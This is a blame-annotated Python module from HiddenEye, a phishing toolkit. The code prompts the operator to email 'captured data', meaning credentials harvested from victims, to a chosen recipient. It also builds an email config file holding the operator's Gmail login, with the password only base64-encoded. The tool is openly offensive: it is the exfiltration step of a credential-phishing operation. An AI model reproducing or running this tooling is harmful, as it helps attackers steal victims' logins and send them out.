2020-05-11 17:12:06 +08:00
|
|
|
#
|
|
|
|
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
|
|
|
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
|
|
|
# This is free software, and you are welcome to redistribute it
|
|
|
|
# under certain conditions; you can read LICENSE for details.
|
|
|
|
#
|
|
|
|
|
|
|
|
|
2020-05-10 00:33:45 +08:00
|
|
|
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
|
2020-05-06 23:00:28 +08:00
|
|
|
import Defs.ThemeManager.theme as theme
|
2020-05-06 19:27:45 +08:00
|
|
|
|
2020-05-06 23:00:28 +08:00
|
|
|
default_palette = theme.default_palette
|
2020-05-06 21:21:18 +08:00
|
|
|
|
|
|
|
|
|
|
|
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
|
2020-06-03 19:09:46 +08:00
|
|
|
import Defs.ActionManager.simple_informant as simple_informant
|
2020-05-06 19:27:45 +08:00
|
|
|
choice = input(
|
2020-08-05 16:06:24 +08:00
|
|
|
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(
|
|
|
|
default_palette[0], default_palette[4], default_palette[2])).upper()
|
2020-05-06 19:27:45 +08:00
|
|
|
if choice == 'Y' or choice == 'y':
|
2020-08-05 16:06:24 +08:00
|
|
|
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py'):
|
2020-05-29 03:30:24 +08:00
|
|
|
system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
|
2020-05-06 19:27:45 +08:00
|
|
|
else:
|
|
|
|
print(
|
|
|
|
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
|
|
|
|
wait(2)
|
2020-05-06 23:00:28 +08:00
|
|
|
simple_informant.exit_message(port)
|
2020-05-06 19:27:45 +08:00
|
|
|
elif choice == 'N' or choice == 'n':
|
2020-05-06 23:00:28 +08:00
|
|
|
simple_informant.exit_message(port)
|
2020-05-06 19:27:45 +08:00
|
|
|
else:
|
|
|
|
system('clear')
|
2020-08-05 16:06:24 +08:00
|
|
|
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4],
|
|
|
|
default_palette[2]))
|
2020-05-06 19:27:45 +08:00
|
|
|
wait(1)
|
|
|
|
system('clear')
|
2020-05-06 21:21:18 +08:00
|
|
|
return captured_data_email_confirmation(port)
|
|
|
|
|
|
|
|
|
|
|
|
def captured_data_email_configuration_prompt():
|
|
|
|
run_command('clear')
|
|
|
|
print('''{1}
|
|
|
|
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
|
|
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|
|
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
|
|
|
{1}http://github.com/darksecdevelopers
|
|
|
|
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
2020-08-05 16:06:24 +08:00
|
|
|
print(
|
|
|
|
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(
|
|
|
|
default_palette[0], default_palette[4]))
|
|
|
|
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
|
|
|
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py',
|
|
|
|
'Defs/FeatureManager/EmailManager/emailconfig.py')
|
2020-05-06 21:21:18 +08:00
|
|
|
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
|
2020-05-29 03:30:24 +08:00
|
|
|
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
2020-05-06 21:21:18 +08:00
|
|
|
read_data = f.read()
|
|
|
|
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
|
2020-05-29 03:30:24 +08:00
|
|
|
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
2020-05-06 21:21:18 +08:00
|
|
|
f.write(c)
|
|
|
|
f.close()
|
|
|
|
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
|
|
|
GMAILPASSWORD = getpass.getpass(
|
|
|
|
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
|
2020-05-29 03:30:24 +08:00
|
|
|
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
2020-05-06 21:21:18 +08:00
|
|
|
read_data = f.read()
|
|
|
|
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
|
|
|
|
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8'))
|
|
|
|
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD)
|
2020-05-29 03:30:24 +08:00
|
|
|
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
2020-05-06 21:21:18 +08:00
|
|
|
f.write(c)
|
|
|
|
f.close()
|
|
|
|
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
|
|
|
RECIPIENTEMAIL = input(
|
|
|
|
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
|
2020-05-29 03:30:24 +08:00
|
|
|
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
2020-05-06 21:21:18 +08:00
|
|
|
read_data = f.read()
|
|
|
|
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
|
2020-05-29 03:30:24 +08:00
|
|
|
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
2020-05-06 21:21:18 +08:00
|
|
|
f.write(c)
|
|
|
|
f.close()
|
2020-08-05 16:06:24 +08:00
|
|
|
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0],
|
|
|
|
default_palette[4]))
|
2020-05-06 21:21:18 +08:00
|
|
|
print(
|
2020-08-05 16:06:24 +08:00
|
|
|
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(
|
|
|
|
default_palette[0], default_palette[4]))
|